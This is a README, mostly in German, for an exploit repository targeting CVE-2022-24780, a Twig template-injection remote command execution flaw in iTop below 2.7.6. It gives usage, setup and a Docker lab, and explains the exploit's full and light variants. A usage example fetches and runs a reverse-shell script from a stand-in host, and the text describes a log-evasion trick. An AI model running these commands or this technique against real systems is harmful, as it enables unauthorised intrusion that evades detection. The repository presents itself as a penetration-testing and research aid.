acceis/exploit-cve-2022-24780iTop < 2.7.6 - (Authentifizierte) Remote-Befehlsausführung
iTop < 2.7.6 - (Authenticated) Remote-Befehlsausführung
Exploit für CVE-2022-24780.
[EDB-TODO] [PacketStorm] [WLB-2022050075]
$ ruby exploit.rb -h
iTop < 2.7.6 - (Authenticated) Remote command execution
Usage:
exploit.rb full <url> <username> <password> <cmd> [--debug]
exploit.rb light <url> <username> <password> <cmd> [--debug]
exploit.rb -h | --help
full: exploit with an emulated browser, execute JavaScript, preserve original user profile information
light: just parse HTML and send requests, no JavaScript, (DESTRUCTIVE) reset user information: phone, location, function
Options:
<url> Root URL (base path) including HTTP scheme, port and root folder
<username> iTop portal username
<password> iTop portal user password
<cmd> Command to execute on the target
--debug Display arguments
-h, --help Show this screen
Examples:
exploit.rb full http://example.org john 's9nvEIZnEo6ghi' 'echo proof > /var/www/html/proof.txt'
exploit.rb light https://example.org:5000/itop john 's9nvEIZnEo6ghi' 'curl --remote-name http://pentest.example.com:7000/revshell.pl; perl revshell.pl'
Die vollständige Variante des Exploits verwendet Watir mit einem von Selenium gesteuerten Webbrowser, um einen Benutzer beim Surfen zu emulieren. Dies ist erforderlich, um Benutzerinformationen zu erhalten. Der Exploit injiziert eine SSTI-Nutzlast in einen Unterteil des Formulars, das zum Ändern von Benutzerinformationen im Portal-Benutzerprofil verwendet wird. Während einige Werte hartcodiert oder aus dem HTML abgerufen werden können, werden andere (Telefon, Standort, Funktion) dynamisch über Javascript geladen und in das HTML eingefügt. Damit der Exploit nicht destruktiv ist, muss JavaScript ausgeführt werden, um diese Werte abrufen zu können.
Die leichte Variante des Exploits ist weniger besorgt und setzt einfach zerstörerisch einen Nullwert für einige Benutzerinformationsfelder (Telefon, Standort, Funktion). Allerdings ist diese Variante schneller auszuführen, erfordert weniger Abhängigkeiten, führt kein JavaScript aus und benötigt keine X-Umgebung (Watir benötigt sie, um den Webbrowser auszuführen).
TL;DR: Alles installieren mittels bundle install
Vollständige Variante
Beispiel mit gem:
gem install httpx docopt watir webdrivers
Leichte Variante
Beispiel mit gem:
gem install httpx docopt nokogiri
Es wird nicht empfohlen, Nutzlasten mit doppelten Anführungszeichen (") oder Backslashes (\) zu verwenden, da die Nutzlast in JSON injiziert wird.
Warnung: Dieser Container ist nicht für den Produktionseinsatz geeignet!
Verwendung vbkunin/itop:2.7.4 - source - docker hub
$ docker run -d -p 8000:80 --name=itop-CVE-2022-24780 vbkunin/itop:2.7.4
Die Verwundbarkeit wurde von Markus KRELL entdeckt.
Analyse der Verwundbarkeit durch den Entdecker:
ACCEIS fördert oder ermutigt keine illegalen Aktivitäten, alle von diesem Repository bereitgestellten Inhalte dienen ausschließlich Forschungs-, Bildungs- und Bedrohungserkennungszwecken.
Als Sicherheitsauditor (oder jede andere White-Hat-Rolle) möchten Sie einerseits ein Exploit-Skript ausführen, um die praktische Ausnutzbarkeit der theoretischen Verwundbarkeit basierend auf der von Ihnen identifizierten Versionsnummer der Anwendung zu überprüfen, andererseits möchten Sie, dass dies ordnungsgemäß ohne zerstörerische Aktionen durchgeführt wird, damit die Kundenanwendung im gleichen Zustand bleibt, wie Sie sie vorgefunden haben.
Zum Beispiel tritt dieser Exploit auf der Benutzerprofilseite auf, es gibt also ein Formular mit bereits ausgefüllten Informationen des Benutzers: Vorname, Name, Organisations-ID, E-Mail, Telefon, Standort-ID, Funktion, Manager-ID. Damit der Angriff funktioniert, müssen Sie nur die verwundbaren Felder überschreiben und andere mit Nullwerten oder Zufallswerten füllen, falls sie erforderlich sind. Das macht die leichte Variante des Exploits. Aber dabei zerstören Sie die tatsächlichen Informationen für diesen Benutzer, was in einer Testumgebung kein Problem ist, aber in einer Produktionsumgebung ein echtes Problem darstellt. Ein Black Hat kümmert sich nicht darum, aber als White Hat müssen wir die Daten erhalten. Die Lösung besteht darin, die tatsächlichen Daten abzurufen und in unserer POST-Anfrage wiederzuverwenden.
Bei klassischen Webanwendungen müssen Sie oft nur eine POST-Anfrage mit den richtigen Parametern direkt an den verwundbaren Endpunkt richten. Manchmal müssen Sie Sitzungen/Cookies, Weiterleitungen, einige vorherige Zustände, die möglicherweise erforderlich sind, das Abrufen einer ID oder Anti-CSRF-Token handhaben, aber all das bleibt sehr einfach und kann mit so ziemlich jeder HTTP-Bibliothek in jeder Sprache erreicht werden.
Um die tatsächlichen Daten abzurufen, wenn die Daten im Formular stammen von:
Bei einigen modernen Webanwendungen wird es etwas heikler, wo viele Werte durch komplexe JavaScript-Manipulationen gesetzt werden. Hier können Sie nicht einfach HTML parsen oder eine REST-API abfragen, Sie können den Wert auch nicht direkt aus einer JavaScript-Datei abrufen oder mehrere Zeilen parsen und einen Wert neu berechnen. Wenn die JS-Berechnung so komplex ist, in vielen verschiedenen JS-Dateien stattfindet oder der JavaScript-Quellcode obfuskiert oder gepackt ist, würde es viel zu viel Aufwand und Zeit erfordern, den Mechanismus rückzuentwickeln und den Wert zu extrahieren. In diesem Fall müssen Sie tatsächlich mit dem JavaScript der Anwendung interagieren. Aber ein klassisches Exploit-Skript, das nur eine HTTP-Bibliothek benötigt, kann das (allein) nicht!
Die manuelle Ausnutzung der Verwundbarkeit ist einfach: Sie surfen einfach durch die Anwendung, lassen Ihren Browser das gesamte JavaScript verarbeiten, stellen lediglich einen Abfangproxy wie Burp Suite ein, um die Anfrage vor dem Absenden zu ändern, und schon sind Sie fertig. Aber dasselbe auf automatisierte Weise zu tun, ist viel schwieriger. Um mit JavaScript zu interagieren und es auszuführen, benötigen wir einen Headless-Browser (der möglicherweise eine Anzeigeumgebung erfordert oder nicht) und eine Benutzeremulationsbibliothek. Glücklicherweise gibt es bereits fortgeschrittene funktionale Testbibliotheken, die wir verwenden können, um den Headless-Browser zu steuern. Die bekannteste ist Selenium, aber es gibt auch Cypress. Außerhalb von Test-Suiten gibt es auch Bibliotheken, die generischere Automatisierung bieten, wie Playwright oder Puppeteer. In beiden Fällen wird eine DSL verwendet, die das Benutzerverhalten nachahmt, als ob ein Benutzer die Anwendung verwenden würde. Der Code, den wir schreiben, wird dem Browser sagen: "Klicken Sie hier", "Geben Sie meinen Namen in das Namensfeld ein", "Klicken Sie auf diesen Link" usw. Die Grenze von Test-Frameworks ist, dass sie Ihnen nur erlauben, das zu tun, was ein normaler Benutzer tun würde, zum Beispiel holt ein normaler Benutzer nicht den Inhalt eines Skript-Tags oder eines versteckten Feldes ab, also können Sie das auch nicht tun. Sie sind auch dazu gedacht, Werte abzurufen und mit dem zu vergleichen, was Sie erwarten, nicht um sie zu setzen. Außerdem ist die Ausführung mit einem Headless-Browser viel langsamer und kann umständliches DSL-Schreiben erfordern. Letztendlich wollen wir den Headless-Browser und das Test-Framework so wenig wie möglich einsetzen.
Was die leichte Variante des Exploits tut, ist, sich mit der Anwendung zu verbinden, das Benutzerprofilformular abzurufen, um alle Werte zu holen, die es kann, und leere Werte für Telefonnummer, Standort-ID und Funktion zu verwenden, dann den Exploit zu senden.
Was die vollständige Variante des Exploits tut, ist, sich mit der Anwendung zu verbinden, das Benutzerprofilformular abzurufen, um alle Werte zu holen, die es kann, dann den Headless-Browser zu verwenden, um sich zu verbinden, das Benutzerprofilformular abzurufen, um die 3 Werte zu holen, die von JavaScript gesetzt wurden, und dann den Exploit zu senden. Es ist im Grunde der gleiche Prozess, außer dass wir keine Nullwerte für Datenfelder verwenden, die in JavaScript befüllt werden, sondern sie tatsächlich mit einem Headless-Browser abrufen, der das JavaScript ausführt, das diese Werte befüllt, um sie abrufen zu können. Es ist technisch auch möglich, den Exploit zu 100% nur mit dem Headless-Browser zu schreiben, aber wir müssen dann die zuvor besprochenen Einschränkungen in Kauf nehmen, weshalb ich den hybriden Ansatz mit minimaler Nutzung des Headless-Browsers gewählt habe.
Der Entdecker der Verwundbarkeit CVE-2022-24780, Markus KRELL, schrieb einen detaillierten Analyse-Blogartikel: iTop – Template Injection inside customer Portal.
Kurz gesagt tritt die Verwundbarkeit bei der Benutzerprofiländerung auf. Wenn der Benutzer das Formular zur Aktualisierung seiner Informationen absendet, sendet es ein riesiges JSON-Objekt mit verschiedenen Metadaten für das Backend, aber die zu aktualisierenden Benutzerdaten werden als XHTML im JSON-Unterknoten formproperties.layout.content gespeichert. Markus entdeckte jedoch im Quellcode, dass formproperties.layout.type sowohl XHTML als auch Twig akzeptieren kann. Als er Twig erwähnt sah, dachte er natürlich sofort an potenzielle SSTI. Also versuchte er jedes Feld im Inhalt, um ein verwundbares zu identifizieren, und fand heraus, dass die Attribute data-field-id und data-field-flags verwundbar sind. Dann ist es möglich, klassische Twig-Template-Injection-Nutzlasten zu verwenden. Als Bonus entdeckte er außerdem, dass das Anhängen von |join(',') an den Ausdruck das resultierende Array in einen String umwandelt und dadurch einen Eintrag in den Logs von iTop vermeidet, um den Angriff heimlicher zu machen.